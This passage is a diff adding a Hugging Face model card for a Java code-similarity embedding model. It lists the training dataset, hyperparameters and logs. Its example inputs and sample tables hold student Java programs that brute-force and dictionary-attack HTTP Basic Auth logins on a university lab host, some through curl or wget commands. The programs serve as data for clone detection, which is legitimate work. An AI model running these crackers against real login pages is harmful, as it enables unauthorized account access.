[ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n out [ outIndex++ ] = alphabet [ bits6 ];\n }\n\n if ( octetString.length - i == 2 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out [ outIndex++ ] = \'=\';\n }\n else if ( octetString.length - i == 1 )\n {\n \n bits24 = ( octetString [ i ] & 0xFF ) << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n out [ outIndex++ ] = \'=\';\n out [ outIndex++ ] = \'=\';\n }\n\n return new String ( out );\n }\n}\n\n', + '\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\npublic class BruteForce extends Thread\n{\n private static final String USERNAME = "";\n private static final char [] POSSIBLE_CHAR =\n {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\',\n \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\',\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\',\n \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n private static int NUMBER_OF_THREAD = 500;\n\n private static Date startDate = null;\n private static Date endDate = null;\n\n private String address;\n private String password;\n\n public BruteForce(String address, String password)\n {\n this.address = address;\n this.password = password;\n }\n\n public static void main(String[] args) throws IOException\n {\n if (args.length < 1)\n {\n System.err.println("Invalid usage!");\n System.err.println("Usage: java BruteForce ");\n System.exit(1);\n }\n\n try\n {\n brute(args[0], USERNAME);\n }\n catch(Exception e)\n {\n e.printStackTrace();\n System.exit(1);\n }\n }\n\n public static void brute(String address, String user)\n {\n BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n int index = 0;\n\n startDate = new Date();\n for(int i = 0; i < POSSIBLE_CHAR.length; i++)\n {\n for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n {\n for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n {\n String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n POSSIBLE_CHAR[k];\n\n if (threads[index] != null && threads[index].isAlive())\n {\n try\n {\n threads[index].join();\n }\n catch(InterruptedException e ) {}\n }\n threads[index] = new BruteForce(address, password);\n threads[index].get();\n\n index = (index++) % threads.length;\n }\n }\n }\n }\n\n public void run()\n {\n if (endDate != null)\n return;\n\n try\n {\n\n URLConnection conn = (new URL(address)).openConnection();\n conn.setDoInput(true);\n\n if (login(conn, USERNAME, password))\n {\n endDate = new Date();\n System.out.println("Found the password: \\""+password+"\\"!");\n SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:");\n System.out.println("Process started at: "+format.format(startDate));\n System.out.println("Process started at: "+format.format(endDate));\n double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n System.out.println("Time taken: "+timeTaken+" minutes");\n System.exit(0);\n }\n else\n {\n System.out.println("Password: \\""+password+"\\" Failed!");\n return;\n }\n }\n catch(Exception e)\n {\n e.printStackTrace();\n }\n\n }\n\n public static boolean login(URLConnection conn, String user, String pass)\n {\n try\n {\n String encodeAuth = " "+Base64Encoder.encode(user+":"+pass);\n conn.setRequestProperty ("Authorization", encodeAuth);\n conn.connect();\n conn.getInputStream();\n }\n catch(Exception e)\n {\n return false;\n }\n return true;\n }\n}\n\n\n', + '\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n public static String encode (String string)\n {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else\n {\n b2 = bytes [i++];\n if (i >= bytes.length)\n {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad)\n {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n}\n', +] +embeddings = model.encode(sentences) +print(embeddings.shape) +# [3, 768] + +# Get the similarity scores for the embeddings +similarities = model.similarity(embeddings, embeddings) +print(similarities.shape) +# [3, 3] +``` + + + + + + + + + + + +## Training Details + +### Training Dataset + +#### soco_train_java + +* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) +* Size: 16,705 training samples +* Columns: label, text_1, and text_2 +* Approximate statistics based on the first 1000 samples: + | | label | text_1 | text_2 | + |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| + | type | int | string | string | + | details |
  • 0: ~99.40%
  • 1: ~0.60%
|
  • min: 51 tokens
  • mean: 453.35 tokens
  • max: 512 tokens
|
  • min: 53 tokens
  • mean: 469.36 tokens
  • max: 512 tokens
| +* Samples: + | label | text_1 | text_2 | + |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| + | 0 |
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;

public class MyClient2 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private BruteForce myMaster;


public MyClient2(BruteForce bf , int num, int myPort, String password)
{

hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;

}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
... | import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;

class Dictionary {

private String password="";

private int num=401;


public static void main(String[] args) {


Dictionary URLcon;

int length = 0;

String passwd="";

int t0,t1;

String line ="";

if (args.length == 0) {

System.err.println (

"Usage : java BruteForce ");
return;

}

String username = args[0];


t0=System.currentTimeMillis();

System.out.println (" " + new Date());
System.out.println ("Using Dictionary method attack "+username+"'s password. Please waiting.......");

try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));

while ((passwd=in.readLine())!=null) {

URLcon = new Dictionary (passwd,username);

if ((URLcon.num)!=401) {

t1=Syste... | + | 0 |
import java.net.*;
import java.io.*;


public class BruteForce {

public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;

try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");

start =System.currentTimeMillis();


DataInputStream dis ;

for (i=0;i<=58;i++)
{

for (j=0;j<=58;j++)
{

for (k=1;k<=58;k++)
{




if (i !=0)
{


pass = "" + (char)(k+64) + (char)(j+65) + (char)(i+64);

if ((i+64) >=91 && (i+64) <=96)
break;

if ((j+65) >=91 && (j+65) <=96)
break;

if ((k+64) >=91 && (k+64) <=96)
continue;


UserPass= auth.encode("",... |

import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;



public class ParsingImgLink
{
String url, imgLink, line;

public ParsingImgLink( String baseURL, String str )
{
url = baseURL;
line = str;
parsingLine();
}

public void parsingLine()
{
int end;
String imgURLStr = null;
if( ( url = line.indexOf("src=\"") ) != -1 )
{
String subStr = line.substring(+5);
end = subStr.indexOf("\"");
imgURLStr = subStr.substring( 0, end );
System.out.println(imgURLStr);
}
else if( ( end = line.indexOf("SRC=\"")) != -1 )
{
String subStr = line.substring(+5);
end = subStr.indexOf("\"");
imgURLStr = subStr.substring( 0, end );
System.out.println(imgURLStr);
}

if( imgURLStr.indexOf("://") == -1 )
{
try
{
URL bas... | + | 0 |
import java.util.*;
import java.io.*;
import java.net.*;

class Dictionary
{

public static void main (String a[])
{
String pwd="";

try
{

BufferedReader bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
int i=0;
while(bf.readLine() != null)
{
pwd= bf.readLine();
String userPassword = ":"+pwd;
RealThread myTh = new RealThread(i,userPassword);
Thread th = new Thread( myTh );
th.start();
try
{
th.sleep(100);
}
catch(Exception e)
{}
i++;
}
}
catch(Exception e )
{
System.out.println(" ex while ="+ e);
}
}


}




class RealThread implements Runnable
{
private int num;
private URL url;
private HttpURLConnection uc =null;
private String userPassword;
private int responseCode = 100;
public RealThread (int i, String userPassword)
{
try
{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
}
catch(Exception ex1)
{
}
num = i;
this... | import java.io.*;
import java.util.*;
import java.net.*;
import java.misc.BASE64Encoder;

public class Dictionary
{

public Dictionary()
{
}

public static void main(String[] args)
{
try
{

if (args.length != 3 )
{
System.out.println("Usage: java BruteForce ");
System.exit(1);
}

timeStart = System.currentTimeMillis();

String strPass = applyDictionary (args[0], args[1], args [2]);

timeEnd = System.currentTimeMillis();

System.out.println("\n\n\n\n\tPass Cracked is: " + strPass);
System.out.println("\tTime taken is (sec):" + String.valueOf((timeEnd - timeStart)/1000));

}
catch(Exception e)
{
e.printStackTrace();
}
}

static String applyDictionary (String URL, String UserName, String strUrlDictionary)
{
String strPass = "";

try
{
FileInputStream fIn = new FileInputStream ( strUrlDictionar... | +* Loss: [SoftmaxLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) + +### Evaluation Dataset + +#### soco_train_java + +* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) +* Size: 16,706 evaluation samples +* Columns: label, text_1, and text_2 +* Approximate statistics based on the first 1000 samples: + | | label | text_1 | text_2 | + |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| + | type | int | string | string | + | details |
  • 0: ~99.40%
  • 1: ~0.60%
|
  • min: 51 tokens
  • mean: 443.68 tokens
  • max: 512 tokens
|
  • min: 51 tokens
  • mean: 467.63 tokens
  • max: 512 tokens
| +* Samples: + | label | text_1 | text_2 | + |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| + | 0 |

import java.Runtime;
import java.io.*;

public class differenceFile
{
StringWriter sw =null;
PrintWriter pw = null;
public differenceFile()
{
sw = new StringWriter();
pw = new PrintWriter();
}
public String compareFile()
{
try
{
Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");

InputStream write = sw.getInputStream();
BufferedReader bf = new BufferedReader (new InputStreamReader(write));
String line;
while((line = bf.readLine())!=null)
pw.println(line);
if((sw.toString().trim()).equals(""))
{
System.out.println(" difference");
return null;
}
System.out.println(sw.toString().trim());
}catch(Exception e){}
return sw.toString().trim();
}
} |






import java.*;
import java.io.*;
import java.util.*;

public class BruteForce
{

public static void main(String[] args)
{
Runtime rt = Runtime.getRuntime();
Process pr= null;
char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
String pass;
char temp[] = {'a','a'};
char temp1[] = {'a','a','a'};
char temp2[] = {'a'};

String f= new String();
String resp = new String();
int count=0;
String success = new String();
InputStreamReader instre;
BufferedReader bufread;


for(int k=0;k<52;k++)
{
temp2[0]=chars[k];
pass = new String(temp2);
count++;

System.out.println("The password tried ... | + | 0 | import java.io.*;
import java.net.*;
import java.util.*;

public class Watchdog
{
public static void main(String args[])
{

String mainLink="http://www.cs.rmit.edu./students/";
String sender = "@cs.rmit.edu.";
String recipient = "";
String hostName = "yallara.cs.rmit.edu.";
int delay = 86400000;

try
{
int imgSrcIndex, imgSrcEnd;
String imgLink;
Vector imageList = new Vector();
HttpURLConnection imgConnection;
URL imgURL;


EmailClient email = new EmailClient(sender, recipient, hostName);


URL url=new URL(mainLink);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();

BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));


FileWriter fwrite = new FileWriter("local.txt");
BufferedWriter writefile = new BufferedWriter(fwrite);

String line=webpage.readLine();

while (line != null)
{

writefile.write(line,0,line.length());
wri... |

import java.net.*;
import java.io.*;
import java.String;
import java.*;
import java.util.*;

public class BruteForce {
private static final int passwdLength = 3;
private static String commandLine
= "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
private int charLen = chars.length();
private int n = 0;
private int n3 = charLen*charLen*charLen;
private String response;
private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];
private char[][] data = new char[passwdLength][charLen];
private char[] pwdChar2 = new char[2];
private char[] pwdChar = new char[passwdLength];
private String url;
private int startTime;
private int endTime;
private int totalTime;
private float averageTime;
private boolean finish;
private Process curl;
private BufferedReader bf, responseLine;

... | + | 0 |
import java.io.*;
import java.awt.*;
import java.net.*;

public class BruteForce
{
public static void main (String[] args)
{
String pw = new String();
pw = getPassword ();
System.out.println("Password is: "+pw);
}
public static String getPassword()
{
String passWord = new String();
passWord = "AAA";
char[] guess = passWord.toCharArray();
Process pro = null;
Runtime runtime = Runtime.getRuntime();
BufferedReader in = null;
String str=null;
boolean found = true;

System.out.println(" attacking.....");
for (int i=65;i<=122 ;i++ )
{
guess[0]=(char)(i);
for (int j=65;j<=122 ;j++ )
{
guess[1]=(char)(j);
for (int k=65 ;k<=122 ;k++ )
{
guess[2]=(char)(k);
passWord = new String(guess);
String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";
try
{
pro = runtime.exec(cmd);

in = new BufferedReader(new InputStreamReader(pro.getErrorSt... |

import java.io.*;
import java.text.*;
import java.util.*;
import java.net.*;

public class BruteForce extends Thread
{
private static final String USERNAME = "";
private static final char [] POSSIBLE_CHAR =
{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private static int NUMBER_OF_THREAD = 500;

private static Date startDate = null;
private static Date endDate = null;

private String address;
private String password;

public BruteForce(String address, String password)
{
this.address = address;
this.password = password;
}

public static void main(String[] args) throws IOException
{
if (args.length < 1)
{
System.err.println("Invalid usage!");
System.err.println("... | +* Loss: [SoftmaxLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) + +### Training Hyperparameters +#### Non-Default Hyperparameters + +- `eval_strategy`: steps +- `per_device_train_batch_size`: 16 +- `per_device_eval_batch_size`: 16 +- `num_train_epochs`: 1 +- `fp16`: True + +#### All Hyperparameters +
Click to expand + +- `overwrite_output_dir`: False +- `do_predict`: False +- `eval_strategy`: steps +- `prediction_loss_only`: True +- `per_device_train_batch_size`: 16 +- `per_device_eval_batch_size`: 16 +- `per_gpu_train_batch_size`: None +- `per_gpu_eval_batch_size`: None +- `gradient_accumulation_steps`: 1 +- `eval_accumulation_steps`: None +- `torch_empty_cache_steps`: None +- `learning_rate`: 5e-05 +- `weight_decay`: 0.0 +- `adam_beta1`: 0.9 +- `adam_beta2`: 0.999 +- `adam_epsilon`: 1e-08 +- `max_grad_norm`: 1.0 +- `num_train_epochs`: 1 +- `max_steps`: -1 +- `lr_scheduler_type`: linear +- `lr_scheduler_kwargs`: {} +- `warmup_ratio`: 0.0 +- `warmup_steps`: 0 +- `log_level`: passive +- `log_level_replica`: warning +- `log_on_each_node`: True +- `logging_nan_inf_filter`: True +- `save_safetensors`: True +- `save_on_each_node`: False +- `save_only_model`: False +- `restore_callback_states_from_checkpoint`: False +- `no_cuda`: False +- `use_cpu`: False +- `use_mps_device`: False +- `seed`: 42 +- `data_seed`: None +- `jit_mode_eval`: False +- `use_ipex`: False +- `bf16`: False +- `fp16`: True +- `fp16_opt_level`: O1 +- `half_precision_backend`: auto +- `bf16_full_eval`: False +- `fp16_full_eval`: False +- `tf32`: None +- `local_rank`: 0 +- `ddp_backend`: None +- `tpu_num_cores`: None +- `tpu_metrics_debug`: False +- `debug`: [] +- `dataloader_drop_last`: False +- `dataloader_num_workers`: 0 +- `dataloader_prefetch_factor`: None +- `past_index`: -1 +- `disable_tqdm`: False +- `remove_unused_columns`: True +- `label_names`: None +- `load_best_model_at_end`: False +- `ignore_data_skip`: False +- `fsdp`: [] +- `fsdp_min_num_params`: 0 +- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} +- `fsdp_transformer_layer_cls_to_wrap`: None +- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} +- `deepspeed`: None +- `label_smoothing_factor`: 0.0 +- `optim`: adamw_torch +- `optim_args`: None +- `adafactor`: False +- `group_by_length`: False +- `length_column_name`: length +- `ddp_find_unused_parameters`: None +- `ddp_bucket_cap_mb`: None +- `ddp_broadcast_buffers`: False +- `dataloader_pin_memory`: True +- `dataloader_persistent_workers`: False +- `skip_memory_metrics`: True +- `use_legacy_prediction_loop`: False +- `push_to_hub`: False +- `resume_from_checkpoint`: None +- `hub_model_id`: None +- `hub_strategy`: every_save +- `hub_private_repo`: None +- `hub_always_push`: False +- `gradient_checkpointing`: False +- `gradient_checkpointing_kwargs`: None +- `include_inputs_for_metrics`: False +- `include_for_metrics`: [] +- `eval_do_concat_batches`: True +- `fp16_backend`: auto +- `push_to_hub_model_id`: None +- `push_to_hub_organization`: None +- `mp_parameters`: +- `auto_find_batch_size`: False +- `full_determinism`: False +- `torchdynamo`: None +- `ray_scope`: last +- `ddp_timeout`: 1800 +- `torch_compile`: False +- `torch_compile_backend`: None +- `torch_compile_mode`: None +- `include_tokens_per_second`: False +- `include_num_input_tokens_seen`: False +- `neftune_noise_alpha`: None +- `optim_target_modules`: None +- `batch_eval_metrics`: False +- `eval_on_start`: False +- `use_liger_kernel`: False +- `eval_use_gather_object`: False +- `average_tokens_across_devices`: False +- `prompts`: None +- `batch_sampler`: batch_sampler +- `multi_dataset_batch_sampler`: proportional + +
+ +### Training Logs +| Epoch | Step | Training Loss | Validation Loss | +|:------:|:----:|:-------------:|:---------------:| +| 0.0957 | 100 | 0.0506 | 0.0198 | +| 0.1914 | 200 | 0.0159 | 0.0178 | +| 0.2871 | 300 | 0.0267 | 0.0195 | +| 0.3828 | 400 | 0.0341 | 0.0202 | +| 0.4785 | 500 | 0.0139 | 0.0161 | +| 0.5742 | 600 | 0.0142 | 0.0157 | +| 0.6699 | 700 | 0.0244 | 0.0154 | +| 0.7656 | 800 | 0.018 | 0.0152 | +| 0.8612 | 900 | 0.0088 | 0.0153 | +| 0.9569 | 1000 | 0.0205 | 0.0146 | + + +### Framework Versions +- Python: 3.11.11 +- Sentence Transformers: 4.1.0 +- Transformers: 4.52.4 +- PyTorch: 2.8.0.dev20250319+cu128 +- Accelerate: 1.7.0 +- Datasets: 3.6.0 +- Tokenizers: 0.21.1 + +## Citation + +### BibTeX + +#### Sentence Transformers and SoftmaxLoss +```bibtex +@inproceedings{reimers-2019-sentence-bert, + title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", + author = "Reimers, Nils and Gurevych, Iryna", + booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", + month = "11", + year = "2019", + publisher = "Association for Computational Linguistics", + url = "https://arxiv.org/abs/1908.10084", +} +``` + + + + + + \ No newline at end of file